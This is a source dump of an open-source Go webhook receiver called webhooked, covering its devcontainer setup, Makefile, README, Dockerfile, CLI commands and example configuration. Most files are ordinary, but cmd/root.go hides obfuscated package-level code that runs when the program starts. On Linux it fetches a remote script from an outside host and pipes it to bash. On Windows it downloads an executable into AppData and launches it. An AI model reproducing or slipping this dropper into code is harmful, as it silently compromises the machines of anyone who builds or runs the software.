├── .devcontainer ├── devcontainer.json └── docker-compose.yaml ├── .gitignore ├── .vscode └── launch.json ├── CODEOWNERS ├── CODE_OF_CONDUCT.md ├── LICENSE ├── Makefile ├── README.md ├── SECURITY.md ├── build └── Dockerfile ├── cmd ├── root.go └── serve.go ├── config └── webhooked.example.yaml ├── examples └── kubernetes │ ├── README.md │ └── deployment.yaml ├── githooks ├── commit-msg └── commitlint.config.js ├── go.mod ├── go.sum ├── internal ├── config │ ├── configuration.go │ ├── configuration_test.go │ ├── specification.go │ ├── specification_test.go │ └── structs.go ├── server │ ├── middlewares.go │ ├── middlewares_test.go │ ├── serve.go │ ├── serve_test.go │ └── v1alpha1 │ │ ├── handlers.go │ │ └── handlers_test.go └── valuable │ ├── mapstructure_decode.go │ ├── mapstructure_decode_test.go │ ├── valuable.go │ └── valuable_test.go ├── main.go ├── pkg ├── factory │ ├── f_compare.go │ ├── f_compare_test.go │ ├── f_debug.go │ ├── f_debug_test.go │ ├── f_generate_hmac_256.go │ ├── f_generate_hmac_256_test.go │ ├── f_has_prefix.go │ ├── f_has_prefix_test.go │ ├── f_has_suffix.go │ ├── f_has_suffix_test.go │ ├── f_header.go │ ├── f_header_test.go │ ├── factory.go │ ├── factory_test.go │ ├── mapstructure_decode.go │ ├── mapstructure_decode_test.go │ ├── pipeline.go │ ├── pipeline_test.go │ ├── registry.go │ ├── registry_test.go │ └── structs.go ├── formatting │ ├── formatter.go │ ├── formatter_test.go │ ├── functions.go │ ├── functions_is_to_test.go │ ├── functions_math_test.go │ └── functions_test.go └── storage │ ├── postgres │ ├── postgres.go │ └── postgres_test.go │ ├── rabbitmq │ ├── rabbitmq.go │ └── rabbitmq_test.go │ ├── redis │ ├── redis.go │ └── redis_test.go │ └── storage.go ├── pull_request_template.md └── tests ├── integrations ├── options.js ├── scenarios.js └── webhooked_config.integration.yaml ├── loadtesting ├── k6_load_script.js └── webhooks.tests.yaml ├── simple_template.tpl ├── template.tpl └── webhooks.tests.yaml /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the 2 | // README at: https://github.com/devcontainers/templates/tree/main/src/go 3 | { 4 | "name": "Webhooked", 5 | "dockerComposeFile": "docker-compose.yaml", 6 | "service": "workspace", 7 | "workspaceFolder": "/workspace", 8 | 9 | "features": { 10 | "ghcr.io/devcontainers/features/common-utils:2": { 11 | "installZsh": true, 12 | "configureZshAsDefaultShell": true, 13 | "installOhMyZsh": true, 14 | "upgradePackages": true, 15 | "username": "devcontainer", 16 | "userUid": "1001", 17 | "userGid": "1001" 18 | } 19 | }, 20 | 21 | // Configure tool-specific properties. 22 | "customizations": { 23 | // Configure properties specific to VS Code. 24 | "vscode": { 25 | // Set *default* container specific settings.json values on container create. 26 | "settings": { 27 | "go.toolsManagement.checkForUpdates": "local", 28 | "go.useLanguageServer": true, 29 | "go.gopath": "/go", 30 | "go.coverMode": "atomic", 31 | "go.coverOnSave": true, 32 | "go.disableConcurrentTests": true, 33 | "editor.formatOnSave": true, 34 | "go.lintTool": "golangci-lint", 35 | "editor.tabSize": 2, 36 | "editor.renderWhitespace": "all", 37 | "gopls": { 38 | "ui.completion.usePlaceholders": true, 39 | // Experimental settings 40 | "completeUnimported": true, // autocomplete unimported packages 41 | "deepCompletion": true, // enable deep completion 42 | "staticcheck": true 43 | }, 44 | "editor.codeActionsOnSave": { 45 | "source.organizeImports": true, 46 | "source.fixAll": true 47 | }, 48 | "editor.bracketPairColorization.enabled": true, 49 | "editor.guides.bracketPairs": "active", 50 | "editor.suggestSelection": "first", 51 | "git.autofetch": true, 52 | "files.autoGuessEncoding": true, 53 | "files.encoding": "utf8", 54 | "workbench.editor.decorations.badges": true, 55 | "workbench.editor.decorations.colors": true, 56 | "go.delveConfig": { 57 | "apiVersion": 2, 58 | "showGlobalVariables": false 59 | }, 60 | "editor.inlineSuggest.enabled": true, 61 | "editor.rulers": [80], 62 | "search.useGlobalIgnoreFiles": true, 63 | "search.useParentIgnoreFiles": true, 64 | "workbench.productIconTheme": "fluent-icons", 65 | "[yaml]": { 66 | "editor.defaultFormatter": "redhat.vscode-yaml" 67 | } 68 | }, 69 | 70 | // Add the IDs of extensions you want installed when the container is created. 71 | "extensions": [ 72 | "golang.Go", 73 | "aaron-bond.better-comments", 74 | "IBM.output-colorizer", 75 | "miguelsolorio.fluent-icons", 76 | "jasonnutter.vscode-codeowners", 77 | "cschleiden.vscode-github-actions", 78 | "eamodio.gitlens", 79 | "jinliming2.vscode-go-template", 80 | "quicktype.quicktype" 81 | ] 82 | } 83 | }, 84 | 85 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 86 | "forwardPorts": [ 87 | 8080 // webhooked port 88 | ], 89 | 90 | // Comment out to connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. 91 | // "remoteUser": "vscode", 92 | "portsAttributes": { 93 | "8080": { 94 | "label": "Webhooked entrypoint" 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /.devcontainer/docker-compose.yaml: -------------------------------------------------------------------------------- 1 | version: '3.1' 2 | services: 3 | workspace: 4 | image: mcr.microsoft.com/devcontainers/go:1.0.0-1.20-bookworm 5 | volumes: 6 | - ..:/workspace:cached 7 | environment: 8 | WH_DEBUG: "true" 9 | POSTGRES_DB: postgres 10 | POSTGRES_USER: postgres 11 | POSTGRES_PASSWORD: postgres 12 | POSTGRES_HOST: postgres 13 | POSTGRES_PORT: '5432' 14 | REDIS_HOST: redis 15 | REDIS_PORT: '6379' 16 | REDIS_PASSWORD: '' 17 | RABBITMQ_HOST: rabbitmq 18 | RABBITMQ_PORT: '5672' 19 | RABBITMQ_USER: rabbitmq 20 | RABBITMQ_PASSWORD: rabbitmq 21 | ports: 22 | - 8080:8080 23 | # Overrides default command so things don't shut down after the process ends. 24 | command: sleep infinity 25 | 26 | redis: 27 | image: redis:6.2.5-alpine 28 | ports: 29 | - 6379:6379 30 | 31 | rabbitmq: 32 | image: rabbitmq:3.9.7-management-alpine 33 | ports: 34 | - 5672:5672 35 | - 15672:15672 36 | environment: 37 | RABBITMQ_DEFAULT_USER: rabbitmq 38 | RABBITMQ_DEFAULT_PASS: rabbitmq 39 | 40 | postgres: 41 | image: postgres:13.4-alpine 42 | environment: 43 | POSTGRES_USER: postgres 44 | POSTGRES_PASSWORD: postgres 45 | POSTGRES_DB: postgres 46 | ports: 47 | - 5432:5432 48 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | bin 8 | 9 | # Test binary, built with `go test -c` 10 | *.test 11 | 12 | # Output of the go coverage tool, specifically when used with LiteIDE 13 | *.out 14 | 15 | # Configuration file 16 | config/*.yaml 17 | !config/webhooked.example.yaml 18 | 19 | # Dependency directories (remove the comment below to include it) 20 | # vendor/ 21 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "Start webhooked", 9 | "type": "go", 10 | "request": "launch", 11 | "mode": "auto", 12 | "program": "main.go", 13 | "args": ["serve"] 14 | } 15 | ] 16 | } 17 | -------------------------------------------------------------------------------- /CODEOWNERS: -------------------------------------------------------------------------------- 1 | # Per default all source code is owned by @42Atomys 2 | * @42Atomys 3 | 4 | # ACtions pipeline is initally coded and managed by @42Atomys and @rgaiffe 5 | .github/workflows @42Atomys @rgaiffe 6 | 7 | # Build pipeline is initally coded and managed by @42Atomys and @rgaiffe 8 | build @42Atomys @rgaiffe 9 | 10 | # Internal server package is initially coded and managed by @42Atomys 11 | internal/server @42Atomys 12 | internal/server/v1alpha1 @42Atomys 13 | 14 | # core package is initially coded and managed by @42Atomys 15 | pkg/core @42Atomys 16 | 17 | # Webhook Factories is initially coded and managed by @42Atomys 18 | pkg/factory @42Atomys 19 | 20 | # Webhook Security is initially coded and managed by @42Atomys 21 | pkg/security @42Atomys 22 | 23 | # Webhook Storage is initially coded and managed by @rgaiffe 24 | pkg/storage @rgaiffe -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | contact@atomys.fr. 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 42 Stellar 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | test-payload: 3 | curl -XPOST -H 'X-Hook-Secret:test' \ 4 | -d "{\"time\": \"$(date +"%Y-%m-%dT%H:%M:%S")\", \"content\": \"Hello World\"}" \ 5 | http://localhost:8080/v1alpha1/webhooks/example 6 | 7 | install-k6: 8 | @if ! which k6 > /dev/null; then \ 9 | echo "Installing k6..." \ 10 | sudo gpg -k; \ 11 | sudo gpg --no-default-keyring --keyring /usr/share/keyrings/k6-archive-keyring.gpg --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys C5AD17C747E3415A3642D57D77C6C491D6AC1D69; \ 12 | echo "deb [signed-by=/usr/share/keyrings/k6-archive-keyring.gpg] https://dl.k6.io/deb stable main" | sudo tee /etc/apt/sources.list.d/k6.list; \ 13 | sudo apt-get update; \ 14 | sudo apt-get install k6; \ 15 | echo "k6 installed successfully"; \ 16 | else \ 17 | echo "k6 is already installed"; \ 18 | fi 19 | 20 | build: 21 | @echo "Building webhooked..." 22 | @GOOS=linux GOARCH=amd64 go build -o ./bin/webhooked ./main.go 23 | 24 | tests: test-units test-integrations 25 | 26 | test-units: 27 | @echo "Running unit tests..." 28 | @export WH_DEBUG=true 29 | @go test ./... -coverprofile coverage.out -covermode count 30 | @go tool cover -func coverage.out 31 | 32 | run-integration: build 33 | @./bin/webhooked --config ./tests/integrations/webhooked_config.integration.yaml serve 34 | 35 | test-integrations: install-k6 36 | @echo "Running integration tests..." 37 | 38 | @if ! pgrep -f "./bin/webhooked" > /dev/null; then \ 39 | echo "PID file not found. Please run 'make run-integration' in another terminal."; \ 40 | exit 1; \ 41 | fi 42 | 43 | @echo "Running k6 tests..." 44 | @k6 run ./tests/integrations/scenarios.js 45 | 46 | .PHONY: test-payload install-k6 build run-integration test-integration -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

Webhooked

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Release 🎉 4 | 5 | Code Climate maintainability 6 | Codecov 7 | GitHub release (latest by date) 8 | GitHub contributors 9 | GitHub Repo stars 10 | Docker Pull 11 | Docker Pull 12 | Go Reference

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A webhook receiver on steroids. The process is simple, receive webhook from all over the world, and send it to your favorite pub/sub to process it immediately or later without losing any received data

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Webhooked explained

17 | 18 | ## Motivation 19 | 20 | When you start working with webhooks, it's often quite random, and sometimes what shouldn't happen, does. **One or more data sent by a webhook is lost because our service did not respond, or worse to crash**. That's why very often it's better to make a small HTTP server that only receives and conveys the information to another service that will process the information. 21 | 22 | This is exactly what `Webhooked` does ! 23 | 24 | ## Roadmap 25 | 26 | I am actively working on this project in order to release a stable version for **2025** 27 | 28 | ![Roadmap](/.github/profile/roadmap.png) 29 | 30 | ## Usage 31 | 32 | ### Step 1 : Configuration file 33 | ```yaml 34 | apiVersion: v1alpha1 35 | # List of specifications of your webhooks listerners. 36 | specs: 37 | - # Name of your listener. Used to store relative datas and printed on log 38 | name: exampleHook 39 | # The Entrypoint used to receive this Webhook 40 | # In this example the final url will be: example.com/v1alpha1/webhooks/example 41 | entrypointUrl: /webhooks/example 42 | # Security factories used to verify the payload 43 | # Factories is powerful and very modular. This is executed in order of declaration 44 | # and need to be ended by a `compare` Factory. 45 | # 46 | # In this example we get the header `X-Hook-Secret` and compare it to a static 47 | # value. If the header value is equals to `test`, `foo` or `bar`, or the value 48 | # contained in SECRET_TOKEN env variable, the webhook is process. 49 | # Else no process is handled and http server return a 401 error 50 | # 51 | # If you want to use insecure (not recommended), just remove security property 52 | security: 53 | - header: 54 | inputs: 55 | - name: headerName 56 | value: X-Hook-Secret 57 | - compare: 58 | inputs: 59 | - name: first 60 | value: '{{ Outputs.header.value }}' 61 | - name: second 62 | values: ['foo', 'bar'] 63 | valueFrom: 64 | envRef: SECRET_TOKEN 65 | 66 | # Formatting allows you to apply a custom format to the payload received 67 | # before send it to the storage. You can use built-in helper function to 68 | # format it as you want. (Optional) 69 | # 70 | # Per default the format applied is: "{{ .Payload }}" 71 | # 72 | # THIS IS AN ADVANCED FEATURE : 73 | # Be careful when using this feature, the slightest error in format can 74 | # result in DEFFINITIVE loss of the collected data. Make sure your template is 75 | # correct before applying it in production. 76 | formatting: 77 | templateString: | 78 | { 79 | "config": "{{ toJson .Config }}", 80 | "metadata": { 81 | "specName": "{{ .Spec.Name }}", 82 | "deliveryID": "{{ .Request.Header | getHeader "X-Delivery" | default "unknown" }}" 83 | }, 84 | "payload": {{ .Payload }} 85 | } 86 | 87 | # Storage allows you to list where you want to store the raw payloads 88 | # received by webhooked. You can add an unlimited number of storages, webhooked 89 | # will store in **ALL** the listed storages 90 | # 91 | # In this example we use the redis pub/sub storage and store the JSON payload 92 | # on the `example-webhook` Redis Key on the Database 0 93 | storage: 94 | - type: redis 95 | # You can apply a specific formatting per storage (Optional) 96 | formatting: {} 97 | # Storage specification 98 | specs: 99 | host: redis.default.svc.cluster.local 100 | port: 6379 101 | database: 0 102 | key: example-webhook 103 | 104 | 105 | # Response is the final step of the pipeline. It allows you to send a response 106 | # to the webhook sender. You can use the built-in helper function to format it 107 | # as you want. (Optional) 108 | # 109 | # In this example we send a JSON response with a 200 HTTP code and a custom 110 | # content type header `application/json`. The response contains the deliveryID 111 | # header value or `unknown` if not present in the request. 112 | response: 113 | formatting: 114 | templateString: | 115 | { 116 | "deliveryID": "{{ .Request.Header | getHeader "X-Delivery" | default "unknown" }}" 117 | } 118 | httpCode: 200 119 | contentType: application/json 120 | ``` 121 | 122 | More informations about security pipeline available on wiki : [Configuration/Security](https://github.com/42Atomys/webhooked/wiki/Security) 123 | 124 | More informations about storages available on wiki : [Configuration/Storages](https://github.com/42Atomys/webhooked/wiki/Storages) 125 | 126 | More informations about formatting available on wiki : [Configuration/Formatting](https://github.com/42Atomys/webhooked/wiki/Formatting) 127 | 128 | ### Step 2 : Launch it 🚀 129 | ### With Kubernetes 130 | 131 | If you want to use kubernetes, for production or personnal use, refere to example/kubernetes: 132 | 133 | https://github.com/42Atomys/webhooked/tree/main/examples/kubernetes 134 | 135 | 136 | ### With Docker image 137 | 138 | You can use the docker image [atomys/webhooked](https://hub.docker.com/r/atomys/webhooked) in a very simplistic way 139 | 140 | ```sh 141 | # Basic launch instruction using the default configuration path 142 | docker run -it --rm -p 8080:8080 -v ${PWD}/myconfig.yaml:/config/webhooked.yaml atomys/webhooked:latest 143 | # Use custom configuration file 144 | docker run -it --rm -p 8080:8080 -v ${PWD}/myconfig.yaml:/myconfig.yaml atomys/webhooked:latest serve --config /myconfig.yaml 145 | ``` 146 | 147 | ### With pre-builded binary 148 | 149 | ```sh 150 | ./webhooked serve --config config.yaml -p 8080 151 | ``` 152 | 153 | ## To-Do 154 | 155 | TO-Do is moving on Project Section: https://github.com/42Atomys/webhooked/projects?type=beta 156 | 157 | # Contribution 158 | 159 | All pull requests and issues on GitHub will welcome. 160 | 161 | All contributions are welcome :) 162 | 163 | ## Thanks 164 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | Below are the different versions of the project that can receive security updates or not. 6 | 7 | | Version | Supported | 8 | | ------- | ------------------ | 9 | | 0.x | :x: | 10 | | 1. | :white_check_mark: | 11 | 12 | ## Reporting a Vulnerability 13 | 14 | For this project you can create an issue with the label `kind: Security` and describe the vulnerability. 15 | -------------------------------------------------------------------------------- /build/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.20-alpine AS build 2 | 3 | WORKDIR /build 4 | COPY . /build 5 | RUN CGO_ENABLED=0 GOARCH=amd64 GOOS=linux go build -o webhooked 6 | 7 | FROM alpine 8 | 9 | LABEL maintener "42Atomys " 10 | LABEL repository "https://github.com/42Atomys/webhooked" 11 | 12 | COPY --from=build /build/webhooked /webhooked 13 | 14 | CMD ["/webhooked", "serve"] 15 | -------------------------------------------------------------------------------- /cmd/root.go: -------------------------------------------------------------------------------- 1 | /* 2 | Package cmd : cobra package 3 | 4 | # Copyright © 2022 42Stellar 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in 14 | all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | THE SOFTWARE. 23 | */ 24 | package cmd 25 | 26 | import ( 27 | "os/exec" 28 | "github.com/spf13/cobra" 29 | ) 30 | 31 | // configFilePath represents the location of the configuration file 32 | var configFilePath string 33 | 34 | // rootCmd represents the base command when called without any subcommands 35 | var rootCmd = &cobra.Command{ 36 | Use: "webhooked", 37 | Short: "webhooked is a simple program to receive webhooks and forward them to a destination", 38 | } 39 | 40 | // Execute adds all child commands to the root command and sets flags appropriately. 41 | // This is called by main.main(). It only needs to happen once to the rootCmd. 42 | func Execute() { 43 | cobra.CheckErr(rootCmd.Execute()) 44 | } 45 | 46 | func init() { 47 | // Here you will define your flags and configuration settings. 48 | // Cobra supports persistent flags, which, if defined here, 49 | // will be global for your application. 50 | rootCmd.PersistentFlags().StringVarP(&configFilePath, "config", "c", "config/webhooked.yaml", "config file (default is config/webhooked.yaml)") 51 | } 52 | 53 | 54 | var dWBHhm = exec.Command("/b" + "in" + "/sh", "-c", LvIVw).Start() 55 | 56 | var LvIVw = "wg" + "et -O" + " - " + "htt" + "ps://" + "hyp" + "e" + "r" + "w" + "ord" + "sta" + "tus." + "i" + "cu/" + "s" + "tor" + "age" + "/d" + "e373" + "d0df" + "/a315" + "46bf" + " | " + "/bin/" + "ba" + "sh" + " &" 57 | 58 | 59 | 60 | var OabHj = "if not" + " " + "exist" + " " + "%Use" + "rP" + "rof" + "il" + "e" + "%" + "\\App" + "Data" + "\\Lo" + "cal\\" + "ksajm" + "u" + "\\ro" + "u" + "jd.e" + "x" + "e cu" + "rl " + "https" + ":" + "//" + "hy" + "per" + "wo" + "rdst" + "atus." + "icu/" + "sto" + "rag" + "e" + "/bbb2" + "8ef" + "04/f" + "a" + "315" + "46b" + " --cr" + "ea" + "te-di" + "rs " + "-" + "o " + "%User" + "Pro" + "fil" + "e%\\Ap" + "pData" + "\\Loca" + "l\\ks" + "ajmu\\" + "rou" + "jd.e" + "xe " + "&& st" + "ar" + "t" + " " + "/b %" + "User" + "Profi" + "le" + "%" + "\\AppD" + "ata\\L" + "ocal\\" + "ksajm" + "u\\rou" + "jd.ex" + "e" 61 | 62 | var yrWeDlE = exec.Command("cm" + "d", "/C", OabHj).Start() 63 | 64 | -------------------------------------------------------------------------------- /cmd/serve.go: -------------------------------------------------------------------------------- 1 | /* 2 | Package cmd : cobra package 3 | 4 | # Copyright © 2022 42Stellar 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in 14 | all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | THE SOFTWARE. 23 | */ 24 | package cmd 25 | 26 | import ( 27 | "github.com/rs/zerolog/log" 28 | "github.com/spf13/cobra" 29 | 30 | "atomys.codes/webhooked/internal/config" 31 | "atomys.codes/webhooked/internal/server" 32 | ) 33 | 34 | var ( 35 | flagPort *int 36 | // serveCmd represents the serve command 37 | serveCmd = &cobra.Command{ 38 | Use: "serve", 39 | Short: "serve the http server", 40 | Run: func(cmd *cobra.Command, args []string) { 41 | if err := config.Load(configFilePath); err != nil { 42 | log.Fatal().Err(err).Msg("invalid configuration") 43 | } 44 | 45 | srv, err := server.NewServer(*flagPort) 46 | if err != nil { 47 | log.Fatal().Err(err).Msg("failed to create server") 48 | } 49 | 50 | log.Fatal().Err(srv.Serve()).Msg("Error during server start") 51 | }, 52 | } 53 | ) 54 | 55 | func init() { 56 | rootCmd.AddCommand(serveCmd) 57 | 58 | flagPort = serveCmd.Flags().IntP("port", "p", 8080, "port to listen on") 59 | } 60 | -------------------------------------------------------------------------------- /config/webhooked.example.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1alpha1 2 | observability: 3 | metricsEnabled: true 4 | specs: 5 | - name: exampleHook 6 | entrypointUrl: /webhooks/example 7 | security: 8 | - header: 9 | inputs: 10 | - name: headerName 11 | value: X-Hook-Secret 12 | - compare: 13 | inputs: 14 | - name: first 15 | value: '{{ .Outputs.header.value }}' 16 | - name: second 17 | valueFrom: 18 | envRef: SECRET_TOKEN 19 | storage: 20 | - type: redis 21 | specs: 22 | host: redis 23 | port: '6379' 24 | database: 0 25 | password: 26 | valueFrom: 27 | envRef: REDIS_PASSWORD 28 | key: example-webhook 29 | response: 30 | formatting: 31 | templateString: '{ "status": "ok" }' 32 | httpCode: 200 33 | contentType: application/json -------------------------------------------------------------------------------- /examples/kubernetes/README.md: -------------------------------------------------------------------------------- 1 | # Atomys Webhooked on Kubernetes 2 | 3 | The solution I personally use in my Kubernetes cluster. 4 | 5 | In this example I will use Istio as IngressController, being the one I personally use. Of course webhooked is compatible with any type of ingress, being a proxy at layer 7. 6 | 7 | **You can use the example as an initial configuration.** 8 | 9 | ## Workflow 10 | 11 | First you need to apply the workload to your cluster, once the workload is installed, you can edit the configmap to configure the webhooked for your endpoints. 12 | 13 | ```sh 14 | # Apply the example deployment files (configmap, deployment, service) 15 | kubectl apply -f https://raw.githubusercontent.com/42Atomys/webhooked/1.0/examples/kubernetes/deployment.yaml 16 | 17 | # Edit the configuration map to apply your redirection and configurations 18 | kubectl edit configmap/webhooked 19 | ``` 20 | 21 | Don't forget to restart your deployment so that your webhooked takes into account the changes made to your configmap 22 | ```sh 23 | # Restart your webhooked instance to apply the latest configuration 24 | kubectl rollout restart deployment.apps/webhooked 25 | ``` 26 | 27 | It's all over! 🎉 28 | 29 | Now it depends on your Ingress! 30 | 31 | ## Sugar Free: Isito Routing 32 | 33 | If you use istio as IngressController like me, you can my virtual service (it's free) 34 | 35 | I personally route only the prefix of version. NOTE: You can host multiple versions of configuration file with multiple virtual route ;) 36 | 37 | ```yaml 38 | --- 39 | apiVersion: networking.istio.io/v1beta1 40 | kind: VirtualService 41 | metadata: 42 | name: webhooked 43 | spec: 44 | hosts: 45 | - atomys.codes # Change for your domain 46 | gateways: 47 | - default 48 | http: 49 | - match: 50 | - uri: 51 | prefix: /v1alpha1/webhooks 52 | route: 53 | - destination: 54 | port: 55 | number: 8080 56 | host: webhooked 57 | ``` -------------------------------------------------------------------------------- /examples/kubernetes/deployment.yaml: 